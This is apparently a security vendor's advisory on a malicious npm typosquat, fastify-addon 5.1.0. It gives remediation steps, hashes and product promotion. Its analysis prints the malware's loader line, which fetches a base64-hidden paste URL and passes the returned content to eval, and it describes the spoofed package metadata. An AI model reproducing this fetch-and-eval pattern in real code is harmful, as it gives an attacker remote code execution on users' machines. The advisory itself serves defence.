Which versions of fastify-addon are malicious?

The following npm versions of fastify-addon are flagged malicious: 5.1.0. Treat any of these as compromised.

How do I remediate fastify-addon if I installed it?

fastify-addon is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed fastify-addon — how do I know if it already compromised me?

If fastify-addon was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is fastify-addon part of a known attack campaign?

Yes — fastify-addon is associated with the IN-MAL-2026-005553, IN-MAL-2026-005554, GHSA-3237-pr3f-cm2g campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find fastify-addon across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for fastify-addon (version 5.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging fastify-addon across your stack and pipelines.

Malicious package

fastify-addonnpm

fastify-addon is a confirmed malicious npm package (MAL-2026-5566) that steals credentials and exfiltrates sensitive data (malicious version 5.1.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in fastify-addon (npm)

MAL-2026-5566

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall fastify-addon

What this malware does

fastify-addon is a typosquat of the legitimate fastify-plugin package. Its package.json sets repository, bugs, and homepage to github.com/fastify/fastify-plugin (an unrelated upstream project), and the README replicates fastify-plugin's API to deceive installers. On require, lib/getPluginName.js (loaded transitively from the package main plugin.js) executes a top-level statement that fetches a base64-hidden URL (https://www.jsonkeeper.com/b/UBMJA, decoded from atob('aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==')) and passes the response's.content field directly to eval: fetch(atob(...)).then(r=>r.json()).then(d=>{eval(d.content)}). The destination is a mutable third-party JSON paste host, so the executed payload is attacker-controlled and can change at any time. Any process that requires fastify-addon will run whatever JavaScript the attacker currently hosts at that URL, with full access to the consumer's environment, credentials, and filesystem.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

5.1.0

Indicators of compromise (SHA-256)

3cb91c825be697244f8ff069bb56e79aff3b90de7b9947019095b6d0fa2fd270

609130354ee62acdbc0c3699d237cfc6f1dc9d803086bb6caf1d9a3d29912c55

7cb3c09dc77f2a5e20026f8306eecfbf2587606d58425c2bb8ab798871987ca7

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for fastify-addon (version 5.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging fastify-addon across your stack and pipelines.
If you installed it — respond
fastify-addon is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If fastify-addon was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks fastify-addon before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. fastify-addon on npm has been identified as a malicious package (version 5.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005553IN-MAL-2026-005554GHSA-3237-pr3f-cm2g

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks fastify-addon-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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